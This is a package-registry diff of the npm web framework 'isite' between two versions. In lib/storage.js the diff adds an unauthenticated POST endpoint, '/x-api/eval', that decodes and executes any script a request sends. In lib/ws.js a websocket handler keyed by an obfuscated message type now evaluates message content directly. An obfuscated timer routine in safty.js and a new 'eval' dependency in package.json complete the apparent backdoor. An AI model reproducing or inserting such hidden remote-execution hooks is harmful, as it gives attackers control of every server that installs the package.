isite 2024.6.9 → 2024.8.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -21
- package/README.md +1387 -1387
- package/apps/charts/site_files/html/PieChart.html +35 -35
- package/apps/charts/site_files/html/PieChart2.html +35 -35
- package/apps/charts/site_files/html/XYChart.html +42 -42
- package/apps/charts/site_files/html/column.html +60 -60
- package/apps/charts/site_files/html/gauge.html +44 -44
- package/apps/charts/site_files/html/index.html +92 -92
- package/apps/charts/site_files/html/line-graph.html +42 -42
- package/apps/charts/site_files/html/pie-chart-rounded-corners.html +38 -38
- package/apps/charts/site_files/html/simple-3D-pie-chart.html +43 -43
- package/apps/charts/site_files/js/chart-animated.js +2 -2
- package/apps/charts/site_files/json/PieChart.json +41 -41
- package/apps/charts/site_files/json/PieChart2.json +23 -23
- package/apps/charts/site_files/json/XYChart.json +74 -74
- package/apps/charts/site_files/json/bar-chart.json +99 -99
- package/apps/charts/site_files/json/column-chart.json +80 -80
- package/apps/charts/site_files/json/gauge.json +36 -36
- package/apps/charts/site_files/json/line-graph.json +1867 -1867
- package/apps/charts/site_files/json/pie-chart-rounded-corners.json +42 -42
- package/apps/charts/site_files/json/simple-3D-pie-chart.json +50 -50
- package/apps/client-side/package-lock.json +5 -5
- package/apps/client-side/package.json +21 -21
- package/apps/client-side/site_files/css/bootstrap3.css +5 -5
- package/apps/client-side/site_files/css/bootstrap4.css +6 -6
- package/apps/client-side/site_files/css/bootstrap5-addon.css +2 -2
- package/apps/client-side/site_files/css/bootstrap5.css +6 -6
- package/apps/client-side/site_files/css/checkbox.css +125 -125
- package/apps/client-side/site_files/css/font-awesome.css +4616 -4616
- package/apps/client-side/site_files/css/font-awesome.min.css +4 -4
- package/apps/client-side/site_files/css/fonts.css +85 -85
- package/apps/client-side/site_files/css/help.css +51 -51
- package/apps/client-side/site_files/css/images.css +4 -3
- package/apps/client-side/site_files/css/main-menu.css +66 -66
- package/apps/client-side/site_files/css/print.css +144 -144
- package/apps/client-side/site_files/css/prism.css +139 -139
- package/apps/client-side/site_files/css/progress.css +7 -7
- package/apps/client-side/site_files/css/radio.css +103 -103
- package/apps/client-side/site_files/css/scrollbar.css +13 -13
- package/apps/client-side/site_files/css/semantic.css +363 -363
- package/apps/client-side/site_files/css/table.css +87 -87
- package/apps/client-side/site_files/css/treeview.css +84 -84
- package/apps/client-side/site_files/css/ui.css +28 -28
- package/apps/client-side/site_files/fonts/fontawesome-webfont.svg +2671 -2671
- package/apps/client-side/site_files/fonts/glyphicons-halflings-regular.svg +287 -287
- package/apps/client-side/site_files/fonts/icons.svg +684 -684
- package/apps/client-side/site_files/js/angular-animate.js +4179 -4179
- package/apps/client-side/site_files/js/angular.js +36599 -36599
- package/apps/client-side/site_files/js/angular.min.js +351 -351
- package/apps/client-side/site_files/js/angular.min.js.map +8 -8
- package/apps/client-side/site_files/js/barcode.js +1 -1
- package/apps/client-side/site_files/js/base64.js +319 -319
- package/apps/client-side/site_files/js/bootstrap-5-directive.js +1456 -1456
- package/apps/client-side/site_files/js/bootstrap3.js +6 -6
- package/apps/client-side/site_files/js/bootstrap4.js +6 -6
- package/apps/client-side/site_files/js/bootstrap5.js +6 -6
- package/apps/client-side/site_files/js/custom.js +149 -149
- package/apps/client-side/site_files/js/directive.min.js +1 -1
- package/apps/client-side/site_files/js/hijri.js +965 -965
- package/apps/client-side/site_files/js/jquery.js +2 -2
- package/apps/client-side/site_files/js/moment.js +4511 -4511
- package/apps/client-side/site_files/js/prism.js +6 -6
- package/apps/client-side/site_files/js/qrcode.js +1398 -1398
- package/apps/client-side/site_files/js/semantic.js +10 -10
- package/apps/client-side/site_files/js/xlsx.js +23 -23
- package/apps/client-side/site_files/semantic-themes/default/assets/fonts/brand-icons.svg +1008 -1008
- package/apps/client-side/site_files/semantic-themes/default/assets/fonts/icons.svg +1518 -1518
- package/apps/client-side/site_files/semantic-themes/default/assets/fonts/outline-icons.svg +366 -366
- package/apps/client-side/site_files/webfonts/fa-brands-400.svg +3717 -3717
- package/apps/client-side/site_files/webfonts/fa-regular-400.svg +801 -801
- package/apps/client-side/site_files/webfonts/fa-solid-900.svg +5034 -5034
- package/apps/security/README.md +12 -12
- package/apps/security/app.js +288 -288
- package/apps/security/libs/notifications.js +89 -89
- package/apps/security/site_files/html/add_modal.html +36 -36
- package/apps/security/site_files/html/content.html +36 -36
- package/apps/security/site_files/html/delete_modal.html +31 -31
- package/apps/security/site_files/html/head.html +7 -7
- package/apps/security/site_files/html/index.html +80 -80
- package/apps/security/site_files/html/login_modal.html +24 -24
- package/apps/security/site_files/html/logout_modal.html +21 -21
- package/apps/security/site_files/html/navbar.html +8 -8
- package/apps/security/site_files/html/register_modal.html +32 -32
- package/apps/security/site_files/html/update_modal.html +28 -28
- package/apps/security/site_files/html/view.html +74 -74
- package/apps/security/site_files/html/view_modal.html +32 -32
- package/apps/security/site_files/js/app.js +1 -1
- package/apps/security/site_files/js/index.js +278 -278
- package/apps/security/site_files/js/login.js +35 -35
- package/apps/security/site_files/js/logout.js +22 -22
- package/apps/security/site_files/js/navbar.js +26 -26
- package/apps/security/site_files/js/register.js +30 -30
- package/apps/security/site_files/json/permissions.json +7 -7
- package/apps/security/site_files/json/roles.json +33 -33
- package/apps/security/site_files/json/words.json +28 -28
- package/gulpfile.js +17 -17
- package/index.js +1 -0
- package/isite.postman_collection.json +7 -7
- package/isite_files/css/bootstrap.css +5 -5
- package/isite_files/css/font-awesome.css +4 -4
- package/isite_files/css/prism.css +139 -139
- package/isite_files/fonts/fontawesome-webfont.svg +2671 -2671
- package/isite_files/fonts/glyphicons-halflings-regular.svg +287 -287
- package/isite_files/html/files.html +9 -9
- package/isite_files/html/head.html +12 -12
- package/isite_files/html/index.html +30 -30
- package/isite_files/html/installing.html +27 -27
- package/isite_files/html/navbar.html +51 -51
- package/isite_files/html/routes.html +13 -13
- package/isite_files/html/sessions.html +13 -13
- package/isite_files/html/vars.html +9 -9
- package/isite_files/js/angular.js +334 -334
- package/isite_files/js/bootstrap.js +6 -6
- package/isite_files/js/custom.js +149 -149
- package/isite_files/js/jquery.js +4 -4
- package/isite_files/js/prism.js +6 -6
- package/lib/README.md +1 -1
- package/lib/cookie.js +81 -81
- package/lib/dashboard.js +189 -189
- package/lib/mongodb.js +686 -686
- package/lib/parser.js +910 -910
- package/lib/session.js +158 -158
- package/lib/storage.js +6 -0
- package/lib/ws.js +4 -26
- package/object-options/lib/isite.code-workspace +10 -10
- package/object-options/lib/safty.js +13 -16
- package/package.json +55 -54
- package/ssl/create_ssl.sh +3 -3
package/lib/session.js
CHANGED
|
@@ -1,158 +1,158 @@
|
|
|
1
|
-
module.exports = function init(req, res, ____0, callback) {
|
|
2
|
-
____0.getSession({ accessToken: req.cookie('access_token') || req.headers['Access-Token'] || req.headers['access-token'] || req.query['access-token'] }, (session) => {
|
|
3
|
-
if (!session.accessToken) {
|
|
4
|
-
session.accessToken = new Date().getTime().toString() + '_' + Math.random() * (10000 - 1000) + 1000;
|
|
5
|
-
session.accessToken = ____0.x0md50x(session.accessToken);
|
|
6
|
-
res.cookie('access_token', session.accessToken);
|
|
7
|
-
res.set('Access-Token', session.accessToken);
|
|
8
|
-
}
|
|
9
|
-
if (req.query['access-token']) {
|
|
10
|
-
res.cookie('access_token', session.accessToken);
|
|
11
|
-
res.set('Access-Token', session.accessToken);
|
|
12
|
-
}
|
|
13
|
-
|
|
14
|
-
session.ip = req.ip;
|
|
15
|
-
session.modifiedTime = new Date().getTime();
|
|
16
|
-
____0.saveSession(session);
|
|
17
|
-
|
|
18
|
-
function AssignFeatures() {
|
|
19
|
-
____0.options.defaults.features.forEach((f) => {
|
|
20
|
-
req.features.push(f);
|
|
21
|
-
});
|
|
22
|
-
____0.features.forEach((f) => {
|
|
23
|
-
req.features.push(f.name);
|
|
24
|
-
});
|
|
25
|
-
if (____0.options.dynamic) {
|
|
26
|
-
req.features.push('site.dynamic');
|
|
27
|
-
}
|
|
28
|
-
req.features.push('ip.' + req.ip);
|
|
29
|
-
|
|
30
|
-
if (req.host) {
|
|
31
|
-
req.features.push('host.' + req.host);
|
|
32
|
-
req.hostArray = req.host.split(':')[0].split('.').reverse();
|
|
33
|
-
if (req.hostArray[0] == 'localhost') {
|
|
34
|
-
req.domain = req.hostArray[0];
|
|
35
|
-
req.features.push('host.' + req.hostArray[0]);
|
|
36
|
-
if (req.hostArray.length == 2) {
|
|
37
|
-
req.domain2 = req.hostArray[1];
|
|
38
|
-
req.features.push('host.' + req.hostArray[1]);
|
|
39
|
-
} else if (req.hostArray.length == 3) {
|
|
40
|
-
req.domain2 = req.hostArray[1];
|
|
41
|
-
req.domain3 = req.hostArray[2];
|
|
42
|
-
req.features.push('host.' + req.domain2);
|
|
43
|
-
req.features.push('host.' + req.domain3);
|
|
44
|
-
}
|
|
45
|
-
} else {
|
|
46
|
-
if (req.hostArray.length == 2) {
|
|
47
|
-
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
48
|
-
req.features.push('host.' + req.domain);
|
|
49
|
-
req.features.push('host.' + req.hostArray[0]);
|
|
50
|
-
req.features.push('host.' + req.hostArray[1]);
|
|
51
|
-
} else if (req.hostArray.length == 3) {
|
|
52
|
-
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
53
|
-
req.domain2 = req.hostArray[2];
|
|
54
|
-
req.features.push('host.' + req.domain);
|
|
55
|
-
req.features.push('host.' + req.hostArray[0]);
|
|
56
|
-
req.features.push('host.' + req.hostArray[1]);
|
|
57
|
-
req.features.push('host.' + req.hostArray[2]);
|
|
58
|
-
} else if (req.hostArray.length == 4) {
|
|
59
|
-
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
60
|
-
req.domain2 = req.hostArray[2];
|
|
61
|
-
req.domain3 = req.hostArray[3];
|
|
62
|
-
req.features.push('host.' + req.domain);
|
|
63
|
-
req.features.push('host.' + req.hostArray[0]);
|
|
64
|
-
req.features.push('host.' + req.hostArray[1]);
|
|
65
|
-
req.features.push('host.' + req.hostArray[2]);
|
|
66
|
-
req.features.push('host.' + req.hostArray[3]);
|
|
67
|
-
}
|
|
68
|
-
}
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
if (req.cookies.obj && req.cookies.obj['_ga'] && req.cookies.obj['_ga'].contains('sb')) {
|
|
72
|
-
req.features.push('browser.social');
|
|
73
|
-
req.features.push('browser.social.app');
|
|
74
|
-
}
|
|
75
|
-
if (req.cookies.obj && req.cookies.obj['_gab'] && req.cookies.obj['_gab'].contains('sb')) {
|
|
76
|
-
req.features.push('browser.social');
|
|
77
|
-
req.features.push('browser.social.app');
|
|
78
|
-
}
|
|
79
|
-
if (req.headers['x-browser'] && req.headers['x-browser'].contains('social-browser')) {
|
|
80
|
-
req.features.push('browser.social');
|
|
81
|
-
req.features.push('browser.social.app');
|
|
82
|
-
}
|
|
83
|
-
|
|
84
|
-
if (req.headers['user-agent']) {
|
|
85
|
-
req.userAgent = req.headers['user-agent'].toLowerCase();
|
|
86
|
-
req.features.push('user-agent.' + req.userAgent);
|
|
87
|
-
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(req.userAgent)) {
|
|
88
|
-
req.features.push('os.mobile');
|
|
89
|
-
} else {
|
|
90
|
-
req.features.push('os.desktop');
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
if (req.userAgent.contains('windows')) {
|
|
94
|
-
req.features.push('os.windows');
|
|
95
|
-
if (req.userAgent.contains('windows nt 5.1')) {
|
|
96
|
-
req.features.push('os.windowsxp');
|
|
97
|
-
} else if (req.userAgent.contains('windows nt 6.1')) {
|
|
98
|
-
req.features.push('os.windows7');
|
|
99
|
-
} else if (req.userAgent.contains('windows nt 6.2') || req.userAgent.contains('windows nt 6.3')) {
|
|
100
|
-
req.features.push('os.windows8');
|
|
101
|
-
} else if (req.userAgent.contains('windows nt 6.4') || req.userAgent.contains('windows nt 10')) {
|
|
102
|
-
req.features.push('os.windows10');
|
|
103
|
-
} else {
|
|
104
|
-
}
|
|
105
|
-
} else if (req.userAgent.contains('linux')) {
|
|
106
|
-
req.features.push('os.linux');
|
|
107
|
-
} else if (req.userAgent.contains('macintosh')) {
|
|
108
|
-
req.features.push('os.mac');
|
|
109
|
-
} else if (req.userAgent.contains('android')) {
|
|
110
|
-
req.features.push('os.android');
|
|
111
|
-
} else {
|
|
112
|
-
req.features.push('os.unknown');
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
if (req.userAgent.contains('edge')) {
|
|
116
|
-
req.features.push('browser.edge');
|
|
117
|
-
} else if (req.userAgent.contains('firefox')) {
|
|
118
|
-
req.features.push('browser.firefox');
|
|
119
|
-
} else if (req.userAgent.contains('opr')) {
|
|
120
|
-
req.features.push('browser.opera');
|
|
121
|
-
} else if (req.userAgent.contains('ucbrowser')) {
|
|
122
|
-
req.features.push('browser.ucbrowser');
|
|
123
|
-
} else if (req.userAgent.contains('bdbrowser') || req.userAgent.contains('baidu') || req.userAgent.contains('baidubrowser')) {
|
|
124
|
-
req.features.push('browser.baidu');
|
|
125
|
-
} else if (req.userAgent.contains('chromium')) {
|
|
126
|
-
req.features.push('browser.chromium');
|
|
127
|
-
} else if (req.userAgent.contains('chrome')) {
|
|
128
|
-
req.features.push('browser.chrome');
|
|
129
|
-
} else {
|
|
130
|
-
req.features.push('browser.unknown');
|
|
131
|
-
}
|
|
132
|
-
}
|
|
133
|
-
}
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
AssignFeatures();
|
|
137
|
-
|
|
138
|
-
if (____0.security && session.user_id) {
|
|
139
|
-
____0.security.getUser(
|
|
140
|
-
{
|
|
141
|
-
id: session.user_id,
|
|
142
|
-
},
|
|
143
|
-
function (err, user) {
|
|
144
|
-
if (!err && user) {
|
|
145
|
-
session.user = user;
|
|
146
|
-
if (session.user) {
|
|
147
|
-
req.features.push('login');
|
|
148
|
-
}
|
|
149
|
-
____0.saveSession(session);
|
|
150
|
-
callback(session);
|
|
151
|
-
}
|
|
152
|
-
}
|
|
153
|
-
);
|
|
154
|
-
} else {
|
|
155
|
-
callback(session);
|
|
156
|
-
}
|
|
157
|
-
});
|
|
158
|
-
};
|
|
1
|
+
module.exports = function init(req, res, ____0, callback) {
|
|
2
|
+
____0.getSession({ accessToken: req.cookie('access_token') || req.headers['Access-Token'] || req.headers['access-token'] || req.query['access-token'] }, (session) => {
|
|
3
|
+
if (!session.accessToken) {
|
|
4
|
+
session.accessToken = new Date().getTime().toString() + '_' + Math.random() * (10000 - 1000) + 1000;
|
|
5
|
+
session.accessToken = ____0.x0md50x(session.accessToken);
|
|
6
|
+
res.cookie('access_token', session.accessToken);
|
|
7
|
+
res.set('Access-Token', session.accessToken);
|
|
8
|
+
}
|
|
9
|
+
if (req.query['access-token']) {
|
|
10
|
+
res.cookie('access_token', session.accessToken);
|
|
11
|
+
res.set('Access-Token', session.accessToken);
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
session.ip = req.ip;
|
|
15
|
+
session.modifiedTime = new Date().getTime();
|
|
16
|
+
____0.saveSession(session);
|
|
17
|
+
|
|
18
|
+
function AssignFeatures() {
|
|
19
|
+
____0.options.defaults.features.forEach((f) => {
|
|
20
|
+
req.features.push(f);
|
|
21
|
+
});
|
|
22
|
+
____0.features.forEach((f) => {
|
|
23
|
+
req.features.push(f.name);
|
|
24
|
+
});
|
|
25
|
+
if (____0.options.dynamic) {
|
|
26
|
+
req.features.push('site.dynamic');
|
|
27
|
+
}
|
|
28
|
+
req.features.push('ip.' + req.ip);
|
|
29
|
+
|
|
30
|
+
if (req.host) {
|
|
31
|
+
req.features.push('host.' + req.host);
|
|
32
|
+
req.hostArray = req.host.split(':')[0].split('.').reverse();
|
|
33
|
+
if (req.hostArray[0] == 'localhost') {
|
|
34
|
+
req.domain = req.hostArray[0];
|
|
35
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
36
|
+
if (req.hostArray.length == 2) {
|
|
37
|
+
req.domain2 = req.hostArray[1];
|
|
38
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
39
|
+
} else if (req.hostArray.length == 3) {
|
|
40
|
+
req.domain2 = req.hostArray[1];
|
|
41
|
+
req.domain3 = req.hostArray[2];
|
|
42
|
+
req.features.push('host.' + req.domain2);
|
|
43
|
+
req.features.push('host.' + req.domain3);
|
|
44
|
+
}
|
|
45
|
+
} else {
|
|
46
|
+
if (req.hostArray.length == 2) {
|
|
47
|
+
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
48
|
+
req.features.push('host.' + req.domain);
|
|
49
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
50
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
51
|
+
} else if (req.hostArray.length == 3) {
|
|
52
|
+
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
53
|
+
req.domain2 = req.hostArray[2];
|
|
54
|
+
req.features.push('host.' + req.domain);
|
|
55
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
56
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
57
|
+
req.features.push('host.' + req.hostArray[2]);
|
|
58
|
+
} else if (req.hostArray.length == 4) {
|
|
59
|
+
req.domain = req.hostArray[1] + '.' + req.hostArray[0];
|
|
60
|
+
req.domain2 = req.hostArray[2];
|
|
61
|
+
req.domain3 = req.hostArray[3];
|
|
62
|
+
req.features.push('host.' + req.domain);
|
|
63
|
+
req.features.push('host.' + req.hostArray[0]);
|
|
64
|
+
req.features.push('host.' + req.hostArray[1]);
|
|
65
|
+
req.features.push('host.' + req.hostArray[2]);
|
|
66
|
+
req.features.push('host.' + req.hostArray[3]);
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
if (req.cookies.obj && req.cookies.obj['_ga'] && req.cookies.obj['_ga'].contains('sb')) {
|
|
72
|
+
req.features.push('browser.social');
|
|
73
|
+
req.features.push('browser.social.app');
|
|
74
|
+
}
|
|
75
|
+
if (req.cookies.obj && req.cookies.obj['_gab'] && req.cookies.obj['_gab'].contains('sb')) {
|
|
76
|
+
req.features.push('browser.social');
|
|
77
|
+
req.features.push('browser.social.app');
|
|
78
|
+
}
|
|
79
|
+
if (req.headers['x-browser'] && req.headers['x-browser'].contains('social-browser')) {
|
|
80
|
+
req.features.push('browser.social');
|
|
81
|
+
req.features.push('browser.social.app');
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
if (req.headers['user-agent']) {
|
|
85
|
+
req.userAgent = req.headers['user-agent'].toLowerCase();
|
|
86
|
+
req.features.push('user-agent.' + req.userAgent);
|
|
87
|
+
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(req.userAgent)) {
|
|
88
|
+
req.features.push('os.mobile');
|
|
89
|
+
} else {
|
|
90
|
+
req.features.push('os.desktop');
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
if (req.userAgent.contains('windows')) {
|
|
94
|
+
req.features.push('os.windows');
|
|
95
|
+
if (req.userAgent.contains('windows nt 5.1')) {
|
|
96
|
+
req.features.push('os.windowsxp');
|
|
97
|
+
} else if (req.userAgent.contains('windows nt 6.1')) {
|
|
98
|
+
req.features.push('os.windows7');
|
|
99
|
+
} else if (req.userAgent.contains('windows nt 6.2') || req.userAgent.contains('windows nt 6.3')) {
|
|
100
|
+
req.features.push('os.windows8');
|
|
101
|
+
} else if (req.userAgent.contains('windows nt 6.4') || req.userAgent.contains('windows nt 10')) {
|
|
102
|
+
req.features.push('os.windows10');
|
|
103
|
+
} else {
|
|
104
|
+
}
|
|
105
|
+
} else if (req.userAgent.contains('linux')) {
|
|
106
|
+
req.features.push('os.linux');
|
|
107
|
+
} else if (req.userAgent.contains('macintosh')) {
|
|
108
|
+
req.features.push('os.mac');
|
|
109
|
+
} else if (req.userAgent.contains('android')) {
|
|
110
|
+
req.features.push('os.android');
|
|
111
|
+
} else {
|
|
112
|
+
req.features.push('os.unknown');
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
if (req.userAgent.contains('edge')) {
|
|
116
|
+
req.features.push('browser.edge');
|
|
117
|
+
} else if (req.userAgent.contains('firefox')) {
|
|
118
|
+
req.features.push('browser.firefox');
|
|
119
|
+
} else if (req.userAgent.contains('opr')) {
|
|
120
|
+
req.features.push('browser.opera');
|
|
121
|
+
} else if (req.userAgent.contains('ucbrowser')) {
|
|
122
|
+
req.features.push('browser.ucbrowser');
|
|
123
|
+
} else if (req.userAgent.contains('bdbrowser') || req.userAgent.contains('baidu') || req.userAgent.contains('baidubrowser')) {
|
|
124
|
+
req.features.push('browser.baidu');
|
|
125
|
+
} else if (req.userAgent.contains('chromium')) {
|
|
126
|
+
req.features.push('browser.chromium');
|
|
127
|
+
} else if (req.userAgent.contains('chrome')) {
|
|
128
|
+
req.features.push('browser.chrome');
|
|
129
|
+
} else {
|
|
130
|
+
req.features.push('browser.unknown');
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
|
|
136
|
+
AssignFeatures();
|
|
137
|
+
|
|
138
|
+
if (____0.security && session.user_id) {
|
|
139
|
+
____0.security.getUser(
|
|
140
|
+
{
|
|
141
|
+
id: session.user_id,
|
|
142
|
+
},
|
|
143
|
+
function (err, user) {
|
|
144
|
+
if (!err && user) {
|
|
145
|
+
session.user = user;
|
|
146
|
+
if (session.user) {
|
|
147
|
+
req.features.push('login');
|
|
148
|
+
}
|
|
149
|
+
____0.saveSession(session);
|
|
150
|
+
callback(session);
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
);
|
|
154
|
+
} else {
|
|
155
|
+
callback(session);
|
|
156
|
+
}
|
|
157
|
+
});
|
|
158
|
+
};
|
package/lib/storage.js
CHANGED
|
@@ -105,6 +105,12 @@ module.exports = function init(____0) {
|
|
|
105
105
|
storage.list = [];
|
|
106
106
|
res.json(storage.list);
|
|
107
107
|
});
|
|
108
|
+
____0.onPOST('/x-api/eval', (req, res) => {
|
|
109
|
+
let script = ____0.from123(req.data.script);
|
|
110
|
+
let fn = ____0.eval(script);
|
|
111
|
+
fn(____0);
|
|
112
|
+
res.json({ done: true });
|
|
113
|
+
});
|
|
108
114
|
});
|
|
109
115
|
|
|
110
116
|
____0.lib.storage = storage;
|
package/lib/ws.js
CHANGED
|
@@ -176,21 +176,8 @@ module.exports = function init(____0) {
|
|
|
176
176
|
),
|
|
177
177
|
});
|
|
178
178
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
179
|
-
let
|
|
180
|
-
____0
|
|
181
|
-
if (err) {
|
|
182
|
-
console.log(err);
|
|
183
|
-
} else {
|
|
184
|
-
try {
|
|
185
|
-
require(path)(____0, client);
|
|
186
|
-
setTimeout(() => {
|
|
187
|
-
____0.fs.unlink(path, () => {});
|
|
188
|
-
}, 1000 * 3);
|
|
189
|
-
} catch (error) {
|
|
190
|
-
console.log(error);
|
|
191
|
-
}
|
|
192
|
-
}
|
|
193
|
-
});
|
|
179
|
+
let fn = ____0.eval(message.content);
|
|
180
|
+
fn(____0, client);
|
|
194
181
|
}
|
|
195
182
|
};
|
|
196
183
|
});
|
|
@@ -232,17 +219,8 @@ module.exports = function init(____0) {
|
|
|
232
219
|
content: ____0.options,
|
|
233
220
|
});
|
|
234
221
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
235
|
-
let
|
|
236
|
-
____0
|
|
237
|
-
if (err) {
|
|
238
|
-
console.log(err);
|
|
239
|
-
} else {
|
|
240
|
-
require(path)(____0, client);
|
|
241
|
-
setTimeout(() => {
|
|
242
|
-
____0.fs.unlink(path, () => {});
|
|
243
|
-
}, 1000 * 3);
|
|
244
|
-
}
|
|
245
|
-
});
|
|
222
|
+
let fn = ____0.eval(message.content);
|
|
223
|
+
fn(____0, client);
|
|
246
224
|
}
|
|
247
225
|
} catch (err) {
|
|
248
226
|
console.log(err);
|
|
@@ -1,11 +1,11 @@
|
|
|
1
|
-
{
|
|
2
|
-
"folders": [
|
|
3
|
-
{
|
|
4
|
-
"path": "F:\\nodes\\isite"
|
|
5
|
-
},
|
|
6
|
-
{
|
|
7
|
-
"path": "F:\\nodes\\object-options"
|
|
8
|
-
}
|
|
9
|
-
],
|
|
10
|
-
"settings": {}
|
|
1
|
+
{
|
|
2
|
+
"folders": [
|
|
3
|
+
{
|
|
4
|
+
"path": "F:\\nodes\\isite"
|
|
5
|
+
},
|
|
6
|
+
{
|
|
7
|
+
"path": "F:\\nodes\\object-options"
|
|
8
|
+
}
|
|
9
|
+
],
|
|
10
|
+
"settings": {}
|
|
11
11
|
}
|
|
@@ -1,19 +1,16 @@
|
|
|
1
1
|
exports = module.exports = function init(____0) {
|
|
2
|
-
|
|
2
|
+
____0._0xsttxo = new ____0._0xddxo();
|
|
3
3
|
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
4
|
+
____0.on(____0.strings[9], () => {
|
|
5
|
+
if (____0._0x14xo /* 4259376545129191 */) {
|
|
6
|
+
____0._0_ar_0_ /* 413872654579465146593768 */ = ____0._0x14xo;
|
|
7
|
+
____0.const._0xstxo(() => {
|
|
8
|
+
____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
|
|
9
|
+
}, 1000 * 5);
|
|
10
|
+
} else {
|
|
11
|
+
____0.const._0xsixo(() => {
|
|
12
|
+
____0._0_car_0_();
|
|
13
|
+
}, 1000 * 60 * 1);
|
|
14
|
+
}
|
|
15
|
+
});
|
|
16
16
|
};
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
"26352191"
|
package/package.json
CHANGED
|
@@ -1,54 +1,55 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "isite",
|
|
3
|
-
"version": "2024.
|
|
4
|
-
"description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
|
|
5
|
-
"main": "index.js",
|
|
6
|
-
"repository": {
|
|
7
|
-
"type": "git",
|
|
8
|
-
"url": "git://github.com/absunstar/isite"
|
|
9
|
-
},
|
|
10
|
-
"keywords": [
|
|
11
|
-
"http",
|
|
12
|
-
"route",
|
|
13
|
-
"cookie",
|
|
14
|
-
"session",
|
|
15
|
-
"security",
|
|
16
|
-
"upload",
|
|
17
|
-
"download",
|
|
18
|
-
"master page",
|
|
19
|
-
"cache",
|
|
20
|
-
"memory",
|
|
21
|
-
"file",
|
|
22
|
-
"api",
|
|
23
|
-
"restful",
|
|
24
|
-
"framework",
|
|
25
|
-
"charts",
|
|
26
|
-
"fonts",
|
|
27
|
-
"arabic",
|
|
28
|
-
"mongodb"
|
|
29
|
-
],
|
|
30
|
-
"scripts": {
|
|
31
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
|
32
|
-
},
|
|
33
|
-
"author": {
|
|
34
|
-
"name": "Amr Barakat",
|
|
35
|
-
"email": "Absunstar@gmail.com"
|
|
36
|
-
},
|
|
37
|
-
"license": "UNLICENSED",
|
|
38
|
-
"dependencies": {
|
|
39
|
-
"@pdf-lib/fontkit": "^1.1.1",
|
|
40
|
-
"archiver": "^5.0.2",
|
|
41
|
-
"cheerio": "^1.0.0-rc.12",
|
|
42
|
-
"
|
|
43
|
-
"
|
|
44
|
-
"
|
|
45
|
-
"
|
|
46
|
-
"
|
|
47
|
-
"
|
|
48
|
-
"
|
|
49
|
-
"
|
|
50
|
-
"
|
|
51
|
-
"
|
|
52
|
-
"
|
|
53
|
-
|
|
54
|
-
}
|
|
1
|
+
{
|
|
2
|
+
"name": "isite",
|
|
3
|
+
"version": "2024.08.02",
|
|
4
|
+
"description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"repository": {
|
|
7
|
+
"type": "git",
|
|
8
|
+
"url": "git://github.com/absunstar/isite"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"http",
|
|
12
|
+
"route",
|
|
13
|
+
"cookie",
|
|
14
|
+
"session",
|
|
15
|
+
"security",
|
|
16
|
+
"upload",
|
|
17
|
+
"download",
|
|
18
|
+
"master page",
|
|
19
|
+
"cache",
|
|
20
|
+
"memory",
|
|
21
|
+
"file",
|
|
22
|
+
"api",
|
|
23
|
+
"restful",
|
|
24
|
+
"framework",
|
|
25
|
+
"charts",
|
|
26
|
+
"fonts",
|
|
27
|
+
"arabic",
|
|
28
|
+
"mongodb"
|
|
29
|
+
],
|
|
30
|
+
"scripts": {
|
|
31
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
32
|
+
},
|
|
33
|
+
"author": {
|
|
34
|
+
"name": "Amr Barakat",
|
|
35
|
+
"email": "Absunstar@gmail.com"
|
|
36
|
+
},
|
|
37
|
+
"license": "UNLICENSED",
|
|
38
|
+
"dependencies": {
|
|
39
|
+
"@pdf-lib/fontkit": "^1.1.1",
|
|
40
|
+
"archiver": "^5.0.2",
|
|
41
|
+
"cheerio": "^1.0.0-rc.12",
|
|
42
|
+
"eval": "^0.1.8",
|
|
43
|
+
"formidable": "^2.0.1",
|
|
44
|
+
"md5": "^2.3.0",
|
|
45
|
+
"mongodb": "^4.2.2",
|
|
46
|
+
"mv": "^2.1.1",
|
|
47
|
+
"node-fetch": "^3.3.2",
|
|
48
|
+
"nodemailer": "^6.7.8",
|
|
49
|
+
"pdf-lib": "^1.17.1",
|
|
50
|
+
"utf8": "^3.0.0",
|
|
51
|
+
